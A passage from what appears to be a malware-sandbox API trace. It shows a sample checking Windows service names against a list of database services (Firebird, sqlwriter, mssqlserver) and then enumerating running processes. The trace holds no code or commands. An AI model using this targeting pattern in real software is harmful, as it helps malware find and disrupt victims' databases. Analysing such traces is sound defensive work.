lpString2="CryptSvc") returned 1 [0176.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0176.763] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0176.763] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0176.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0176.763] lstrlenW (lpString="DcomLaunch") returned 10 [0176.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.763] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0176.763] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0176.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0176.763] lstrlenW (lpString="DeviceAssociationService") returned 24 [0176.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0176.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0176.763] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0176.763] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0176.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0176.763] lstrlenW (lpString="Dhcp") returned 4 [0176.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0176.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0176.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0176.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0176.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0176.764] lstrlenW (lpString="Dnscache") returned 8 [0176.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0176.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0176.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0176.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0176.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0176.764] lstrlenW (lpString="DPS") returned 3 [0176.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0176.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0176.764] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0176.764] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0176.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0176.764] lstrlenW (lpString="DsmSvc") returned 6 [0176.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0176.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0176.764] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0176.764] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0176.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0176.764] lstrlenW (lpString="DusmSvc") returned 7 [0176.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0176.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0176.764] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0176.764] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0176.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0176.765] lstrlenW (lpString="EventLog") returned 8 [0176.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0176.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0176.765] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0176.765] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0176.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0176.765] lstrlenW (lpString="EventSystem") returned 11 [0176.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0176.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0176.765] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0176.765] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0176.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0176.765] lstrlenW (lpString="FontCache") returned 9 [0176.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0176.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0176.765] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0176.765] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0176.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0176.765] lstrlenW (lpString="gpsvc") returned 5 [0176.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0176.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0176.765] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0176.765] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0176.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0176.765] lstrlenW (lpString="iphlpsvc") returned 8 [0176.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.766] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0176.766] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0176.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0176.766] lstrlenW (lpString="KeyIso") returned 6 [0176.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0176.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0176.766] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0176.766] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0176.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0176.766] lstrlenW (lpString="LanmanServer") returned 12 [0176.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0176.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0176.766] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0176.766] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0176.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0176.766] lstrlenW (lpString="LanmanWorkstation") returned 17 [0176.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.766] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0176.766] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0176.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0176.766] lstrlenW (lpString="lfsvc") returned 5 [0176.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0176.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0176.766] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0176.767] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0176.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0176.767] lstrlenW (lpString="lmhosts") returned 7 [0176.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0176.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0176.767] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0176.767] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0176.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0176.767] lstrlenW (lpString="LSM") returned 3 [0176.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0176.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0176.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0176.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0176.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0176.767] lstrlenW (lpString="MpsSvc") returned 6 [0176.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0176.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0176.767] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0176.767] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0176.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0176.767] lstrlenW (lpString="NcbService") returned 10 [0176.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0176.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0176.767] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0176.767] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0176.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0176.768] lstrlenW (lpString="netprofm") returned 8 [0176.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0176.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0176.768] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0176.768] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0176.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0176.768] lstrlenW (lpString="NgcSvc") returned 6 [0176.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0176.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0176.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0176.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0176.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0176.768] lstrlenW (lpString="NlaSvc") returned 6 [0176.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0176.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0176.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0176.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0176.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0176.768] lstrlenW (lpString="nsi") returned 3 [0176.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0176.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0176.768] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0176.768] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0176.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0176.768] lstrlenW (lpString="PcaSvc") returned 6 [0176.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0176.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0176.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0176.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0176.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0176.769] lstrlenW (lpString="PlugPlay") returned 8 [0176.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0176.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0176.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0176.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0176.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0176.769] lstrlenW (lpString="Power") returned 5 [0176.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0176.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0176.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0176.769] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0176.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0176.769] lstrlenW (lpString="ProfSvc") returned 7 [0176.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0176.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0176.769] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0176.769] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0176.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0176.769] lstrlenW (lpString="RpcEptMapper") returned 12 [0176.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.769] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0176.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0176.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0176.770] lstrlenW (lpString="RpcSs") returned 5 [0176.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0176.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0176.770] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0176.770] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0176.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0176.770] lstrlenW (lpString="SamSs") returned 5 [0176.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0176.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0176.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0176.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0176.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0176.770] lstrlenW (lpString="Schedule") returned 8 [0177.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0177.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0177.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0177.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0177.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0177.059] lstrlenW (lpString="SecurityHealthService") returned 21 [0177.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.059] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0177.059] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0177.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0177.059] lstrlenW (lpString="SENS") returned 4 [0177.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0177.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0177.059] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0177.060] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0177.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0177.060] lstrlenW (lpString="ShellHWDetection") returned 16 [0177.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.060] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0177.060] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0177.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0177.060] lstrlenW (lpString="Spooler") returned 7 [0177.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0177.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0177.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0177.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0177.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0177.060] lstrlenW (lpString="StateRepository") returned 15 [0177.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0177.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0177.060] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0177.060] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0177.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0177.060] lstrlenW (lpString="SysMain") returned 7 [0177.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0177.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0177.060] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0177.060] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0177.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0177.060] lstrlenW (lpString="SystemEventsBroker") returned 18 [0177.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.061] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0177.061] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0177.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0177.061] lstrlenW (lpString="Themes") returned 6 [0177.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0177.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0177.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0177.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0177.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x465ffb0 | out: hHeap=0x710000) returned 1 [0177.062] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x510 [0177.068] Process32FirstW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.068] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0177.069] lstrlenW (lpString="System") returned 6 [0177.069] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0177.070] lstrlenW (lpString="smss.exe") returned 8 [0177.070] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.071] lstrlenW (lpString="csrss.exe") returned 9 [0177.071] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0177.072] lstrlenW (lpString="wininit.exe") returned 11 [0177.072] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.073] lstrlenW (lpString="csrss.exe") returned 9 [0177.073] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0177.074] lstrlenW (lpString="winlogon.exe") returned 12 [0177.074] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0177.075] lstrlenW (lpString="services.exe") returned 12 [0177.075] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0177.076] lstrlenW (lpString="lsass.exe") returned 9 [0177.076] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.078] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.078] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.079] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.079] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.080] lstrlenW (lpString="svchost.exe") returned 11 [0177.080] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.081] lstrlenW (lpString="svchost.exe") returned 11 [0177.081] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0177.082] lstrlenW (lpString="dwm.exe") returned 7 [0177.082] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.083] lstrlenW (lpString="svchost.exe") returned 11 [0177.083] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.084] lstrlenW (lpString="svchost.exe") returned 11 [0177.085] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.085] lstrlenW (lpString="svchost.exe") returned 11 [0177.085] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.086] lstrlenW (lpString="svchost.exe") returned 11 [0177.086] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.087] lstrlenW (lpString="svchost.exe") returned 11 [0177.087] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.088] 